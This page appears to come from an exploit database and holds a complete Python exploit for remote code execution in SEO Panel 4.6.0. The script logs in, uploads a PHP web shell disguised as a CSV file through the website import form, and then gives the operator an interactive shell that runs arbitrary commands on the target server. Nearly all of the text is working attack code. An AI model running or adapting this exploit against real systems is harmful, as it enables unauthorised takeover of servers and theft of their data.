Share
## https://sploitus.com/exploit?id=PACKETSTORM:161292
# Exploit Title: SEO Panel 4.6.0 - Remote Code Execution (2)  
# Date: 22 Jan 2021  
# Exploit Author: Kr0ff  
# Vendor Homepage: https://www.seopanel.org/https://www.kentico.com/  
# Software Link: https://www.seopanel.org/spdownload/4.6.0  
# Version: 4.6.0  
# Tested on: Ubuntu 20.04  
  
#!/usr/bin/env python3  
  
'''  
DESCRIPTION:  
- SeoPanel 4.6.0 vulnerable to Remote Code Execution via authenticated file upload  
  
FIXED:  
- ver 4.7.0  
  
AUTHOR:  
- Kr0ff  
'''  
#https://asciiart.website/index.php?art=animals/bats  
  
try:  
import requests  
import argparse  
import sys  
from termcolor import colored  
from time import sleep  
except ImportError as e:  
print(colored("[ERROR]: ", "red"), f"{e}")  
  
def arty():  
artz = """  
HAPPY HALLOWEEN !  
....._  
`. ``-. .-----.._  
`, `-. .: /`  
: `".. ..-`` :  
/ ...--:::`n n.`::... :  
`:`` .` :: / `. ``---..:.  
`\ .` ._: .-: :: `. .-``  
: : :_\\_/: : .:: `. /  
: / \-../:/_.`-` \ :  
:: _.._ q` p ` /` \|  
:-` ``(_. ..-----hh``````/-._:  
`: `` / `  
E: /  
: _/  
: _..-``  
l--``  
----------------------------------------------------------  
_  
___ ___ ___ ___ __ ___ ___| |___ ___ ___  
|_ -| -_| . | . ||. | | -_| | _| _| -_|  
|___|___|___| _|___|_|_|___|_|_| |___|___|  
|_| 4.6.0  
  
@Kr0ff  
----------------------------------------------------------  
"""  
print(artz)  
  
#Initialize requests to create a session  
r = requests.session()  
  
#Create a login for the user  
def login(TARGET, USER, PASS):  
data = {"sec":"login", "red_referer": f"{TARGET}", "userName": f"{USER}", "password": f"{PASS}","login":""}  
headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"}  
req = r.post(f"{TARGET}/login.php", headers=headers, data=data, verify=False)  
if req.status_code == 200:  
print(colored("[SUCCESS]", "green"), f"Status code for login.php -> {req.status_code}\r\n")  
else:  
print(colored("[FAILURE]", "red"), f"Status code for login.php -> {req.status_code}\r\n")  
print("Please check if you are providing the right path to 'seopanel' or if server is live...")  
get_ch = req.headers.get("Set-Cookie")  
return get_ch  
  
#Upload the webshell to target server  
def exploit(TARGET, USER, PASS):  
login(TARGET, USER, PASS)  
headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": TARGET + "/admin-panel.php", "Content-Type": "multipart/form-data; boundary=---------------------------193626971803013289998688514", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"}  
payload = "-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"sec\"\r\n\r\nimport\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"userid\"\r\n\r\n1\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"website_csv_file\"; filename=\"bc1ab68651691302e1434959b70cba26.php\"\r\nContent-Type: text/csv\r\n\r\n<?php system($_GET['veiocx']); ?>\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"delimiter\"\r\n\r\n,\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"enclosure\"\r\n\r\n\"\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"escape\"\r\n\r\n\\\r\n-----------------------------193626971803013289998688514--\r\n"  
req0 = r.post(f"{TARGET}/websites.php", headers=headers, data=payload, verify=False)  
if req0.status_code == 200:  
print(colored("[SUCCESS]", "green"), f"Status code for payload upload [websites.php] -> {req0.status_code}\r\n")  
else:  
print(colored("[FAILURE]", "red"), f"Status code for payload upload [websites.php] -> {req0.status_code}\r\n")  
print("Please check if you are providing the right path or if server is live...")  
  
while(1):  
try:  
p = input("$> ")  
shell_url = TARGET + f"tmp/bc1ab68651691302e1434959b70cba26.php?veiocx={p}"  
control = r.get(shell_url, headers=headers, verify=False)  
if control.status_code == 200:  
print(colored("[SUCCESS]","green"), "Shell uploaded successfully !\r\n\r\n")  
print(control.text)  
else:  
print(colored("[ERROR]","red"), "Shell not uploaded... :(")  
print("Status code ->", colored(control.status_code, "red"))  
sys.exit(0)  
except KeyboardInterrupt: #Do self-cleanup on ctrl+c and wait a sec  
cleanup = TARGET + f"tmp/bc1ab68651691302e1434959b70cba26.php?veiocx=rm bc1ab68651691302e1434959b70cba26.php"  
requests.get(cleanup, headers=headers, verify=False)  
sleep(1)  
print(colored("\r\n[ERROR]", "red"), "Exitting ! Self-cleanup done !")  
break  
  
#Initilize parser for arguments  
def parse_argz():  
parser = argparse.ArgumentParser(description='SEO Panel 4.6.0 authenticated RCE via file upload')  
parser.add_argument("-t", "--target", help="Target http/s:[IP/HOSTNAME]/seopanel/", type=str)  
parser.add_argument("-u", "--user", help="Username to login as", type=str)  
parser.add_argument("-p", "--passwd", help="Password to authenticate with", type=str)  
#args = parser.parse_args(args=None if sys.argv[1:] else ['--help']) #Show help menu if no arguments provided  
args = parser.parse_args(args=None)  
  
if not args.target or not args.user or not args.passwd:  
parser.error(colored("[WARNING]","yellow"), "Not all arguments provided")  
sys.exit(1)  
else:  
TARGET = str(args.target)  
USER = str(args.user)  
PASS = str(args.passwd)  
exploit(TARGET, USER, PASS)  
  
if __name__ == "__main__":  
try:  
arty()  
parse_argz()  
except Exception as e:  
print(colored("[ERROR]","red"), f"-> {e}")  
sys.exit(1)